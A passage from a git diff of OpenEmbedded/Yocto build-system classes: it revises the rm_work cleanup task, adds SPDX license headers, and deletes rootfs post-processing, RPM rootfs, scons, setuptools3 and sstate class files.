if [ "$p" = "${PN}" ]; then
@@ -44,55 +57,58 @@ do_rm_work () {
# Change normal stamps into setscene stamps as they better reflect the
# fact WORKDIR is now empty
# Also leave noexec stamps since setscene stamps don't cover them
- cd `dirname ${STAMP}`
- for i in `basename ${STAMP}`*
- do
- case $i in
- *sigdata*|*sigbasedata*)
- # Save/skip anything that looks like a signature data file.
- ;;
- *do_image_complete_setscene*|*do_image_qa_setscene*)
- # Ensure we don't 'stack' setscene extensions to these stamps with the sections below
- ;;
- *do_image_complete*)
- # Promote do_image_complete stamps to setscene versions (ahead of *do_image* below)
- mv $i `echo $i | sed -e "s#do_image_complete#do_image_complete_setscene#"`
- ;;
- *do_image_qa*)
- # Promote do_image_qa stamps to setscene versions (ahead of *do_image* below)
- mv $i `echo $i | sed -e "s#do_image_qa#do_image_qa_setscene#"`
- ;;
- *do_package_write*|*do_rootfs*|*do_image*|*do_bootimg*|*do_write_qemuboot_conf*|*do_build*)
- ;;
- *do_addto_recipe_sysroot*)
- # Preserve recipe-sysroot-native if do_addto_recipe_sysroot has been used
- excludes="$excludes recipe-sysroot-native"
- ;;
- *do_package|*do_package.*|*do_package_setscene.*)
- # We remove do_package entirely, including any
- # sstate version since otherwise we'd need to leave 'plaindirs' around
- # such as 'packages' and 'packages-split' and these can be large. No end
- # of chain tasks depend directly on do_package anymore.
- rm -f $i;
- ;;
- *_setscene*)
- # Skip stamps which are already setscene versions
- ;;
- *)
- # For everything else: if suitable, promote the stamp to a setscene
- # version, otherwise remove it
- for j in ${SSTATETASKS} do_shared_workdir
- do
- case $i in
- *$j|*$j.*)
- mv $i `echo $i | sed -e "s#${j}#${j}_setscene#"`
- break
- ;;
- esac
- done
- rm -f $i
- esac
- done
+ STAMPDIR=`dirname ${STAMP}`
+ if test -d $STAMPDIR; then
+ cd $STAMPDIR
+ for i in `basename ${STAMP}`*
+ do
+ case $i in
+ *sigdata*|*sigbasedata*)
+ # Save/skip anything that looks like a signature data file.
+ ;;
+ *do_image_complete_setscene*|*do_image_qa_setscene*)
+ # Ensure we don't 'stack' setscene extensions to these stamps with the sections below
+ ;;
+ *do_image_complete*)
+ # Promote do_image_complete stamps to setscene versions (ahead of *do_image* below)
+ mv $i `echo $i | sed -e "s#do_image_complete#do_image_complete_setscene#"`
+ ;;
+ *do_image_qa*)
+ # Promote do_image_qa stamps to setscene versions (ahead of *do_image* below)
+ mv $i `echo $i | sed -e "s#do_image_qa#do_image_qa_setscene#"`
+ ;;
+ *do_package_write*|*do_rootfs*|*do_image*|*do_bootimg*|*do_write_qemuboot_conf*|*do_build*)
+ ;;
+ *do_addto_recipe_sysroot*)
+ # Preserve recipe-sysroot-native if do_addto_recipe_sysroot has been used
+ excludes="$excludes recipe-sysroot-native"
+ ;;
+ *do_package|*do_package.*|*do_package_setscene.*)
+ # We remove do_package entirely, including any
+ # sstate version since otherwise we'd need to leave 'plaindirs' around
+ # such as 'packages' and 'packages-split' and these can be large. No end
+ # of chain tasks depend directly on do_package anymore.
+ "${RM_BIN}" -f -- $i;
+ ;;
+ *_setscene*)
+ # Skip stamps which are already setscene versions
+ ;;
+ *)
+ # For everything else: if suitable, promote the stamp to a setscene
+ # version, otherwise remove it
+ for j in ${SSTATETASKS} do_shared_workdir
+ do
+ case $i in
+ *$j|*$j.*)
+ mv $i `echo $i | sed -e "s#${j}#${j}_setscene#"`
+ break
+ ;;
+ esac
+ done
+ "${RM_BIN}" -f -- $i
+ esac
+ done
+ fi
cd ${WORKDIR}
for dir in *
@@ -100,12 +116,14 @@ do_rm_work () {
# Retain only logs and other files in temp, safely ignore
# failures of removing pseudo folers on NFS2/3 server.
if [ $dir = 'pseudo' ]; then
- rm -rf $dir 2> /dev/null || true
+ "${RM_BIN}" -rf -- $dir 2> /dev/null || true
elif ! echo "$excludes" | grep -q -w "$dir"; then
- rm -rf $dir
+ "${RM_BIN}" -rf -- $dir
fi
done
}
+do_rm_work[vardepsexclude] += "SSTATETASKS"
+
do_rm_work_all () {
:
}
@@ -172,7 +190,7 @@ python inject_rm_work() {
# other recipes and thus will typically run much later than completion of
# work in the recipe itself.
# In practice, addtask() here merely updates the dependencies.
- bb.build.addtask('do_rm_work', 'do_build', ' '.join(deps), d)
+ bb.build.addtask('do_rm_work', 'do_rm_work_all do_build', ' '.join(deps), d)
# Always update do_build_without_rm_work dependencies.
bb.build.addtask('do_build_without_rm_work', '', ' '.join(deps), d)
diff --git a/meta/classes/rm_work_and_downloads.bbclass b/meta/classes/rm_work_and_downloads.bbclass
index 7c00bea597..2695a3807f 100644
--- a/meta/classes/rm_work_and_downloads.bbclass
+++ b/meta/classes/rm_work_and_downloads.bbclass
@@ -1,8 +1,7 @@
# Author: Patrick Ohly <patrick.ohly@intel.com>
# Copyright: Copyright (C) 2015 Intel Corporation
#
-# This file is licensed under the MIT license, see COPYING.MIT in
-# this source distribution for the terms.
+# SPDX-License-Identifier: MIT
# This class is used like rm_work:
# INHERIT += "rm_work_and_downloads"
@@ -28,6 +27,6 @@ inherit rm_work
# Instead go up one level and remove ourself.
DL_DIR = "${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}/${PN}/downloads"
-do_rm_work_append () {
+do_rm_work:append () {
rm -rf ${DL_DIR}
}
diff --git a/meta/classes/rootfs-postcommands.bbclass b/meta/classes/rootfs-postcommands.bbclass
deleted file mode 100644
index 984730ebe8..0000000000
--- a/meta/classes/rootfs-postcommands.bbclass
+++ /dev/null
@@ -1,373 +0,0 @@
-
-# Zap the root password if debug-tweaks feature is not enabled
-ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'empty-root-password' ], "", "zap_empty_root_password; ",d)}'
-
-# Allow dropbear/openssh to accept logins from accounts with an empty password string if debug-tweaks or allow-empty-password is enabled
-ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'allow-empty-password' ], "ssh_allow_empty_password; ", "",d)}'
-
-# Allow dropbear/openssh to accept root logins if debug-tweaks or allow-root-login is enabled
-ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'allow-root-login' ], "ssh_allow_root_login; ", "",d)}'
-
-# Enable postinst logging if debug-tweaks is enabled
-ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains_any("IMAGE_FEATURES", [ 'debug-tweaks', 'post-install-logging' ], "postinst_enable_logging; ", "",d)}'
-
-# Create /etc/timestamp during image construction to give a reasonably sane default time setting
-ROOTFS_POSTPROCESS_COMMAND += "rootfs_update_timestamp; "
-
-# Tweak the mount options for rootfs in /etc/fstab if read-only-rootfs is enabled
-ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs", "read_only_rootfs_hook; ", "",d)}'
-
-# We also need to do the same for the kernel boot parameters,
-# otherwise kernel or initramfs end up mounting the rootfs read/write
-# (the default) if supported by the underlying storage.
-#
-# We do this with _append because the default value might get set later with ?=
-# and we don't want to disable such a default that by setting a value here.
-APPEND_append = '${@bb.utils.contains("IMAGE_FEATURES", "read-only-rootfs", " ro", "", d)}'
-
-# Generates test data file with data store variables expanded in json format
-ROOTFS_POSTPROCESS_COMMAND += "write_image_test_data; "
-
-# Write manifest
-IMAGE_MANIFEST = "${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.manifest"
-ROOTFS_POSTUNINSTALL_COMMAND =+ "write_image_manifest ; "
-# Set default postinst log file
-POSTINST_LOGFILE ?= "${localstatedir}/log/postinstall.log"
-# Set default target for systemd images
-SYSTEMD_DEFAULT_TARGET ?= '${@bb.utils.contains("IMAGE_FEATURES", "x11-base", "graphical.target", "multi-user.target", d)}'
-ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("DISTRO_FEATURES", "systemd", "set_systemd_default_target; systemd_create_users;", "", d)}'
-
-ROOTFS_POSTPROCESS_COMMAND += 'empty_var_volatile;'
-
-# Sort the user and group entries in /etc by ID in order to make the content
-# deterministic. Package installs are not deterministic, causing the ordering
-# of entries to change between builds. In case that this isn't desired,
-# the command can be overridden.
-#
-# Note that useradd-staticids.bbclass has to be used to ensure that
-# the numeric IDs of dynamically created entries remain stable.
-#
-# We want this to run as late as possible, in particular after
-# systemd_sysusers_create and set_user_group. Using _append is not
-# enough for that, set_user_group is added that way and would end
-# up running after us.
-SORT_PASSWD_POSTPROCESS_COMMAND ??= " sort_passwd; "
-python () {
- d.appendVar('ROOTFS_POSTPROCESS_COMMAND', '${SORT_PASSWD_POSTPROCESS_COMMAND}')
- d.appendVar('ROOTFS_POSTPROCESS_COMMAND', 'rootfs_reproducible;')
-}
-
-systemd_create_users () {
- for conffile in ${IMAGE_ROOTFS}/usr/lib/sysusers.d/systemd.conf ${IMAGE_ROOTFS}/usr/lib/sysusers.d/systemd-remote.conf; do
- [ -e $conffile ] || continue
- grep -v "^#" $conffile | sed -e '/^$/d' | while read type name id comment; do
- if [ "$type" = "u" ]; then
- useradd_params="--shell /sbin/nologin"
- [ "$id" != "-" ] && useradd_params="$useradd_params --uid $id"
- [ "$comment" != "-" ] && useradd_params="$useradd_params --comment $comment"
- useradd_params="$useradd_params --system $name"
- eval useradd --root ${IMAGE_ROOTFS} $useradd_params || true
- elif [ "$type" = "g" ]; then
- groupadd_params=""
- [ "$id" != "-" ] && groupadd_params="$groupadd_params --gid $id"
- groupadd_params="$groupadd_params --system $name"
- eval groupadd --root ${IMAGE_ROOTFS} $groupadd_params || true
- elif [ "$type" = "m" ]; then
- group=$id
- if [ ! `grep -q "^${group}:" ${IMAGE_ROOTFS}${sysconfdir}/group` ]; then
- eval groupadd --root ${IMAGE_ROOTFS} --system $group
- fi
- if [ ! `grep -q "^${name}:" ${IMAGE_ROOTFS}${sysconfdir}/passwd` ]; then
- eval useradd --root ${IMAGE_ROOTFS} --shell /sbin/nologin --system $name
- fi
- eval usermod --root ${IMAGE_ROOTFS} -a -G $group $name
- fi
- done
- done
-}
-
-#
-# A hook function to support read-only-rootfs IMAGE_FEATURES
-#
-read_only_rootfs_hook () {
- # Tweak the mount option and fs_passno for rootfs in fstab
- if [ -f ${IMAGE_ROOTFS}/etc/fstab ]; then
- sed -i -e '/^[#[:space:]]*\/dev\/root/{s/defaults/ro/;s/\([[:space:]]*[[:digit:]]\)\([[:space:]]*\)[[:digit:]]$/\1\20/}' ${IMAGE_ROOTFS}/etc/fstab
- fi
-
- # Tweak the "mount -o remount,rw /" command in busybox-inittab inittab
- if [ -f ${IMAGE_ROOTFS}/etc/inittab ]; then
- sed -i 's|/bin/mount -o remount,rw /|/bin/mount -o remount,ro /|' ${IMAGE_ROOTFS}/etc/inittab
- fi
-
- # If we're using openssh and the /etc/ssh directory has no pre-generated keys,
- # we should configure openssh to use the configuration file /etc/ssh/sshd_config_readonly
- # and the keys under /var/run/ssh.
- if [ -d ${IMAGE_ROOTFS}/etc/ssh ]; then
- if [ -e ${IMAGE_ROOTFS}/etc/ssh/ssh_host_rsa_key ]; then
- echo "SYSCONFDIR=\${SYSCONFDIR:-/etc/ssh}" >> ${IMAGE_ROOTFS}/etc/default/ssh
- echo "SSHD_OPTS=" >> ${IMAGE_ROOTFS}/etc/default/ssh
- else
- echo "SYSCONFDIR=\${SYSCONFDIR:-/var/run/ssh}" >> ${IMAGE_ROOTFS}/etc/default/ssh
- echo "SSHD_OPTS='-f /etc/ssh/sshd_config_readonly'" >> ${IMAGE_ROOTFS}/etc/default/ssh
- fi
- fi
-
- # Also tweak the key location for dropbear in the same way.
- if [ -d ${IMAGE_ROOTFS}/etc/dropbear ]; then
- if [ ! -e ${IMAGE_ROOTFS}/etc/dropbear/dropbear_rsa_host_key ]; then
- echo "DROPBEAR_RSAKEY_DIR=/var/lib/dropbear" >> ${IMAGE_ROOTFS}/etc/default/dropbear
- fi
- fi
-
- if ${@bb.utils.contains("DISTRO_FEATURES", "sysvinit", "true", "false", d)}; then
- # Change the value of ROOTFS_READ_ONLY in /etc/default/rcS to yes
- if [ -e ${IMAGE_ROOTFS}/etc/default/rcS ]; then
- sed -i 's/ROOTFS_READ_ONLY=no/ROOTFS_READ_ONLY=yes/' ${IMAGE_ROOTFS}/etc/default/rcS
- fi
- # Run populate-volatile.sh at rootfs time to set up basic files
- # and directories to support read-only rootfs.
- if [ -x ${IMAGE_ROOTFS}/etc/init.d/populate-volatile.sh ]; then
- ${IMAGE_ROOTFS}/etc/init.d/populate-volatile.sh
- fi
- fi
-
- if ${@bb.utils.contains("DISTRO_FEATURES", "systemd", "true", "false", d)}; then
- # Create machine-id
- # 20:12 < mezcalero> koen: you have three options: a) run systemd-machine-id-setup at install time, b) have / read-only and an empty file there (for stateless) and c) boot with / writable
- touch ${IMAGE_ROOTFS}${sysconfdir}/machine-id
- fi
-}
-
-#
-# This function is intended to disallow empty root password if 'debug-tweaks' is not in IMAGE_FEATURES.
-#
-zap_empty_root_password () {
- if [ -e ${IMAGE_ROOTFS}/etc/shadow ]; then
- sed -i 's%^root::%root:*:%' ${IMAGE_ROOTFS}/etc/shadow
- fi
- if [ -e ${IMAGE_ROOTFS}/etc/passwd ]; then
- sed -i 's%^root::%root:*:%' ${IMAGE_ROOTFS}/etc/passwd
- fi
-}
-
-#
-# allow dropbear/openssh to accept logins from accounts with an empty password string
-#
-ssh_allow_empty_password () {
- for config in sshd_config sshd_config_readonly; do
- if [ -e ${IMAGE_ROOTFS}${sysconfdir}/ssh/$config ]; then
- sed -i 's/^[#[:space:]]*PermitEmptyPasswords.*/PermitEmptyPasswords yes/' ${IMAGE_ROOTFS}${sysconfdir}/ssh/$config
- fi
- done
-
- if [ -e ${IMAGE_ROOTFS}${sbindir}/dropbear ] ; then
- if grep -q DROPBEAR_EXTRA_ARGS ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear 2>/dev/null ; then
- if ! grep -q "DROPBEAR_EXTRA_ARGS=.*-B" ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear ; then
- sed -i 's/^DROPBEAR_EXTRA_ARGS="*\([^"]*\)"*/DROPBEAR_EXTRA_ARGS="\1 -B"/' ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear
- fi
- else
- printf '\nDROPBEAR_EXTRA_ARGS="-B"\n' >> ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear
- fi
- fi
-
- if [ -d ${IMAGE_ROOTFS}${sysconfdir}/pam.d ] ; then
- for f in `find ${IMAGE_ROOTFS}${sysconfdir}/pam.d/* -type f -exec test -e {} \; -print`
- do
- sed -i 's/nullok_secure/nullok/' $f
- done
- fi
-}
-
-#
-# allow dropbear/openssh to accept root logins
-#
-ssh_allow_root_login () {
- for config in sshd_config sshd_config_readonly; do
- if [ -e ${IMAGE_ROOTFS}${sysconfdir}/ssh/$config ]; then
- sed -i 's/^[#[:space:]]*PermitRootLogin.*/PermitRootLogin yes/' ${IMAGE_ROOTFS}${sysconfdir}/ssh/$config
- fi
- done
-
- if [ -e ${IMAGE_ROOTFS}${sbindir}/dropbear ] ; then
- if grep -q DROPBEAR_EXTRA_ARGS ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear 2>/dev/null ; then
- sed -i '/^DROPBEAR_EXTRA_ARGS=/ s/-w//' ${IMAGE_ROOTFS}${sysconfdir}/default/dropbear
- fi
- fi
-}
-
-python sort_passwd () {
- import rootfspostcommands
- rootfspostcommands.sort_passwd(d.expand('${IMAGE_ROOTFS}${sysconfdir}'))
-}
-
-#
-# Enable postinst logging if debug-tweaks is enabled
-#
-postinst_enable_logging () {
- mkdir -p ${IMAGE_ROOTFS}${sysconfdir}/default
- echo "POSTINST_LOGGING=1" >> ${IMAGE_ROOTFS}${sysconfdir}/default/postinst
- echo "LOGFILE=${POSTINST_LOGFILE}" >> ${IMAGE_ROOTFS}${sysconfdir}/default/postinst
-}
-
-#
-# Modify systemd default target
-#
-set_systemd_default_target () {
- if [ -d ${IMAGE_ROOTFS}${sysconfdir}/systemd/system -a -e ${IMAGE_ROOTFS}${systemd_unitdir}/system/${SYSTEMD_DEFAULT_TARGET} ]; then
- ln -sf ${systemd_unitdir}/system/${SYSTEMD_DEFAULT_TARGET} ${IMAGE_ROOTFS}${sysconfdir}/systemd/system/default.target
- fi
-}
-
-# If /var/volatile is not empty, we have seen problems where programs such as the
-# journal make assumptions based on the contents of /var/volatile. The journal
-# would then write to /var/volatile before it was mounted, thus hiding the
-# items previously written.
-#
-# This change is to attempt to fix those types of issues in a way that doesn't
-# affect users that may not be using /var/volatile.
-empty_var_volatile () {
- if [ -e ${IMAGE_ROOTFS}/etc/fstab ]; then
- match=`awk '$1 !~ "#" && $2 ~ /\/var\/volatile/{print $2}' ${IMAGE_ROOTFS}/etc/fstab 2> /dev/null`
- if [ -n "$match" ]; then
- find ${IMAGE_ROOTFS}/var/volatile -mindepth 1 -delete
- fi
- fi
-}
-
-# Turn any symbolic /sbin/init link into a file
-remove_init_link () {
- if [ -h ${IMAGE_ROOTFS}/sbin/init ]; then
- LINKFILE=${IMAGE_ROOTFS}`readlink ${IMAGE_ROOTFS}/sbin/init`
- rm ${IMAGE_ROOTFS}/sbin/init
- cp $LINKFILE ${IMAGE_ROOTFS}/sbin/init
- fi
-}
-
-make_zimage_symlink_relative () {
- if [ -L ${IMAGE_ROOTFS}/boot/zImage ]; then
- (cd ${IMAGE_ROOTFS}/boot/ && for i in `ls zImage-* | sort`; do ln -sf $i zImage; done)
- fi
-}
-
-python write_image_manifest () {
- from oe.rootfs import image_list_installed_packages
- from oe.utils import format_pkg_list
-
- deploy_dir = d.getVar('IMGDEPLOYDIR')
- link_name = d.getVar('IMAGE_LINK_NAME')
- manifest_name = d.getVar('IMAGE_MANIFEST')
-
- if not manifest_name:
- return
-
- pkgs = image_list_installed_packages(d)
- with open(manifest_name, 'w+') as image_manifest:
- image_manifest.write(format_pkg_list(pkgs, "ver"))
-
- if os.path.exists(manifest_name) and link_name:
- manifest_link = deploy_dir + "/" + link_name + ".manifest"
- if os.path.lexists(manifest_link):
- os.remove(manifest_link)
- os.symlink(os.path.basename(manifest_name), manifest_link)
-}
-
-# Can be used to create /etc/timestamp during image construction to give a reasonably
-# sane default time setting
-rootfs_update_timestamp () {
- if [ "${REPRODUCIBLE_TIMESTAMP_ROOTFS}" != "" ]; then
- # Convert UTC into %4Y%2m%2d%2H%2M%2S
- sformatted=`date -u -d @${REPRODUCIBLE_TIMESTAMP_ROOTFS} +%4Y%2m%2d%2H%2M%2S`
- else
- sformatted=`date -u +%4Y%2m%2d%2H%2M%2S`
- fi
- echo $sformatted > ${IMAGE_ROOTFS}/etc/timestamp
- bbnote "rootfs_update_timestamp: set /etc/timestamp to $sformatted"
-}
-
-# Prevent X from being started
-rootfs_no_x_startup () {
- if [ -f ${IMAGE_ROOTFS}/etc/init.d/xserver-nodm ]; then
- chmod a-x ${IMAGE_ROOTFS}/etc/init.d/xserver-nodm
- fi
-}
-
-rootfs_trim_schemas () {
- for schema in ${IMAGE_ROOTFS}/etc/gconf/schemas/*.schemas
- do
- # Need this in case no files exist
- if [ -e $schema ]; then
- oe-trim-schemas $schema > $schema.new
- mv $schema.new $schema
- fi
- done
-}
-
-rootfs_check_host_user_contaminated () {
- contaminated="${WORKDIR}/host-user-contaminated.txt"
- HOST_USER_UID="$(PSEUDO_UNLOAD=1 id -u)"
- HOST_USER_GID="$(PSEUDO_UNLOAD=1 id -g)"
-
- find "${IMAGE_ROOTFS}" -path "${IMAGE_ROOTFS}/home" -prune -o \
- -user "$HOST_USER_UID" -print -o -group "$HOST_USER_GID" -print >"$contaminated"
-
- sed -e "s,${IMAGE_ROOTFS},," $contaminated | while read line; do
- bbwarn "Path in the rootfs is owned by the same user or group as the user running bitbake:" $line `ls -lan ${IMAGE_ROOTFS}/$line`
- done
-
- if [ -s "$contaminated" ]; then
- bbwarn "/etc/passwd:" `cat ${IMAGE_ROOTFS}/etc/passwd`
- bbwarn "/etc/group:" `cat ${IMAGE_ROOTFS}/etc/group`
- fi
-}
-
-# Make any absolute links in a sysroot relative
-rootfs_sysroot_relativelinks () {
- sysroot-relativelinks.py ${SDK_OUTPUT}/${SDKTARGETSYSROOT}
-}
-
-# Generated test data json file
-python write_image_test_data() {
- from oe.data import export2json
-
- deploy_dir = d.getVar('IMGDEPLOYDIR')
- link_name = d.getVar('IMAGE_LINK_NAME')
- testdata_name = os.path.join(deploy_dir, "%s.testdata.json" % d.getVar('IMAGE_NAME'))
-
- searchString = "%s/"%(d.getVar("TOPDIR")).replace("//","/")
- export2json(d, testdata_name, searchString=searchString, replaceString="")
-
- if os.path.exists(testdata_name) and link_name:
- testdata_link = os.path.join(deploy_dir, "%s.testdata.json" % link_name)
- if os.path.lexists(testdata_link):
- os.remove(testdata_link)
- os.symlink(os.path.basename(testdata_name), testdata_link)
-}
-write_image_test_data[vardepsexclude] += "TOPDIR"
-
-# Check for unsatisfied recommendations (RRECOMMENDS)
-python rootfs_log_check_recommends() {
- log_path = d.expand("${T}/log.do_rootfs")
- with open(log_path, 'r') as log:
- for line in log:
- if 'log_check' in line:
- continue
-
- if 'unsatisfied recommendation for' in line:
- bb.warn('[log_check] %s: %s' % (d.getVar('PN'), line))
-}
-
-# Perform any additional adjustments needed to make rootf binary reproducible
-rootfs_reproducible () {
- if [ "${REPRODUCIBLE_TIMESTAMP_ROOTFS}" != "" ]; then
- # Convert UTC into %4Y%2m%2d%2H%2M%2S
- sformatted=`date -u -d @${REPRODUCIBLE_TIMESTAMP_ROOTFS} +%4Y%2m%2d%2H%2M%2S`
- echo $sformatted > ${IMAGE_ROOTFS}/etc/version
- bbnote "rootfs_reproducible: set /etc/version to $sformatted"
-
- if [ -d ${IMAGE_ROOTFS}${sysconfdir}/gconf ]; then
- find ${IMAGE_ROOTFS}${sysconfdir}/gconf -name '%gconf.xml' -print0 | xargs -0r \
- sed -i -e 's@\bmtime="[0-9][0-9]*"@mtime="'${REPRODUCIBLE_TIMESTAMP_ROOTFS}'"@g'
- fi
- fi
-}
diff --git a/meta/classes/rootfs_rpm.bbclass b/meta/classes/rootfs_rpm.bbclass
deleted file mode 100644
index 51f89ea990..0000000000
--- a/meta/classes/rootfs_rpm.bbclass
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Creates a root filesystem out of rpm packages
-#
-
-ROOTFS_PKGMANAGE = "rpm dnf"
-
-# dnf is using our custom distutils, and so will fail without these
-export STAGING_INCDIR
-export STAGING_LIBDIR
-
-# Add 100Meg of extra space for dnf
-IMAGE_ROOTFS_EXTRA_SPACE_append = "${@bb.utils.contains("PACKAGE_INSTALL", "dnf", " + 102400", "" ,d)}"
-
-# Dnf is python based, so be sure python3-native is available to us.
-EXTRANATIVEPATH += "python3-native"
-
-# opkg is needed for update-alternatives
-RPMROOTFSDEPENDS = "rpm-native:do_populate_sysroot \
- dnf-native:do_populate_sysroot \
- createrepo-c-native:do_populate_sysroot \
- opkg-native:do_populate_sysroot"
-
-do_rootfs[depends] += "${RPMROOTFSDEPENDS}"
-do_populate_sdk[depends] += "${RPMROOTFSDEPENDS}"
-
-do_rootfs[recrdeptask] += "do_package_write_rpm do_package_qa"
-do_rootfs[vardeps] += "PACKAGE_FEED_URIS"
-
-python () {
- if d.getVar('BUILD_IMAGES_FROM_FEEDS'):
- flags = d.getVarFlag('do_rootfs', 'recrdeptask')
- flags = flags.replace("do_package_write_rpm", "")
- flags = flags.replace("do_deploy", "")
- flags = flags.replace("do_populate_sysroot", "")
- d.setVarFlag('do_rootfs', 'recrdeptask', flags)
- d.setVar('RPM_PREPROCESS_COMMANDS', '')
- d.setVar('RPM_POSTPROCESS_COMMANDS', '')
-
-}
diff --git a/meta/classes/scons.bbclass b/meta/classes/scons.bbclass
deleted file mode 100644
index 6b171ca8df..0000000000
--- a/meta/classes/scons.bbclass
+++ /dev/null
@@ -1,31 +0,0 @@
-inherit python3native
-
-DEPENDS += "python3-scons-native"
-
-EXTRA_OESCONS ?= ""
-
-do_configure() {
- unset _PYTHON_SYSCONFIGDATA_NAME
- if [ -n "${CONFIGURESTAMPFILE}" ]; then
- if [ -e "${CONFIGURESTAMPFILE}" -a "`cat ${CONFIGURESTAMPFILE}`" != "${BB_TASKHASH}" -a "${CLEANBROKEN}" != "1" ]; then
- ${STAGING_BINDIR_NATIVE}/scons --clean PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS}
- fi
-
- mkdir -p `dirname ${CONFIGURESTAMPFILE}`
- echo ${BB_TASKHASH} > ${CONFIGURESTAMPFILE}
- fi
-}
-
-scons_do_compile() {
- unset _PYTHON_SYSCONFIGDATA_NAME
- ${STAGING_BINDIR_NATIVE}/scons ${PARALLEL_MAKE} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} || \
- die "scons build execution failed."
-}
-
-scons_do_install() {
- unset _PYTHON_SYSCONFIGDATA_NAME
- ${STAGING_BINDIR_NATIVE}/scons install_root=${D}${prefix} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} install || \
- die "scons install execution failed."
-}
-
-EXPORT_FUNCTIONS do_compile do_install
diff --git a/meta/classes/setuptools3.bbclass b/meta/classes/setuptools3.bbclass
deleted file mode 100644
index 8ca66ee708..0000000000
--- a/meta/classes/setuptools3.bbclass
+++ /dev/null
@@ -1,4 +0,0 @@
-inherit distutils3
-
-DEPENDS += "python3-setuptools-native"
-
diff --git a/meta/classes/sign_ipk.bbclass b/meta/classes/sign_ipk.bbclass
index e5057b7799..51c24b38b2 100644
--- a/meta/classes/sign_ipk.bbclass
+++ b/meta/classes/sign_ipk.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Class for generating signed IPK packages.
#
# Configuration variables used by this class:
diff --git a/meta/classes/sign_package_feed.bbclass b/meta/classes/sign_package_feed.bbclass
index 7ff3a35a2f..e9d664750c 100644
--- a/meta/classes/sign_package_feed.bbclass
+++ b/meta/classes/sign_package_feed.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Class for signing package feeds
#
# Related configuration variables that will be used after this class is
@@ -27,9 +33,10 @@ inherit sanity
PACKAGE_FEED_SIGN = '1'
PACKAGE_FEED_GPG_BACKEND ?= 'local'
PACKAGE_FEED_GPG_SIGNATURE_TYPE ?= 'ASC'
+PACKAGEINDEXDEPS += "gnupg-native:do_populate_sysroot"
# Make feed signing key to be present in rootfs
-FEATURE_PACKAGES_package-management_append = " signing-keys-packagefeed"
+FEATURE_PACKAGES_package-management:append = " signing-keys-packagefeed"
python () {
# Check sanity of configuration
diff --git a/meta/classes/sign_rpm.bbclass b/meta/classes/sign_rpm.bbclass
index 73a55a512d..ee0c4808fa 100644
--- a/meta/classes/sign_rpm.bbclass
+++ b/meta/classes/sign_rpm.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# Class for generating signed RPM packages.
#
# Configuration variables used by this class:
diff --git a/meta/classes/siteconfig.bbclass b/meta/classes/siteconfig.bbclass
index 0cfa5a6834..953cafd285 100644
--- a/meta/classes/siteconfig.bbclass
+++ b/meta/classes/siteconfig.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
python siteconfig_do_siteconfig () {
shared_state = sstate_state_fromvars(d)
if shared_state['task'] != 'populate_sysroot':
diff --git a/meta/classes/sstate.bbclass b/meta/classes/sstate.bbclass
deleted file mode 100644
index 375196ef21..0000000000
--- a/meta/classes/sstate.bbclass
+++ /dev/null
@@ -1,1217 +0,0 @@
-SSTATE_VERSION = "3"
-
-SSTATE_MANIFESTS ?= "${TMPDIR}/sstate-control"
-SSTATE_MANFILEPREFIX = "${SSTATE_MANIFESTS}/manifest-${SSTATE_MANMACH}-${PN}"
-
-def generate_sstatefn(spec, hash, taskname, siginfo, d):
- if taskname is None:
- return ""
- extension = ".tgz"
- # 8 chars reserved for siginfo
- limit = 254 - 8
- if siginfo:
- limit = 254
- extension = ".tgz.siginfo"
- if not hash:
- hash = "INVALID"
- fn = spec + hash + "_" + taskname + extension
- # If the filename is too long, attempt to reduce it
- if len(fn) > limit:
- components = spec.split(":")
- # Fields 0,5,6 are mandatory, 1 is most useful, 2,3,4 are just for information
- # 7 is for the separators
- avail = (254 - len(hash + "_" + taskname + extension) - len(components[0]) - len(components[1]) - len(components[5]) - len(components[6]) - 7) // 3
- components[2] = components[2][:avail]
- components[3] = components[3][:avail]
- components[4] = components[4][:avail]
- spec = ":".join(components)
- fn = spec + hash + "_" + taskname + extension
- if len(fn) > limit:
- bb.fatal("Unable to reduce sstate name to less than 255 chararacters")
- return hash[:2] + "/" + hash[2:4] + "/" + fn
-
-SSTATE_PKGARCH = "${PACKAGE_ARCH}"
-SSTATE_PKGSPEC = "sstate:${PN}:${PACKAGE_ARCH}${TARGET_VENDOR}-${TARGET_OS}:${PV}:${PR}:${SSTATE_PKGARCH}:${SSTATE_VERSION}:"
-SSTATE_SWSPEC = "sstate:${PN}::${PV}:${PR}::${SSTATE_VERSION}:"
-SSTATE_PKGNAME = "${SSTATE_EXTRAPATH}${@generate_sstatefn(d.getVar('SSTATE_PKGSPEC'), d.getVar('BB_UNIHASH'), d.getVar('SSTATE_CURRTASK'), False, d)}"
-SSTATE_PKG = "${SSTATE_DIR}/${SSTATE_PKGNAME}"
-SSTATE_EXTRAPATH = ""
-SSTATE_EXTRAPATHWILDCARD = ""
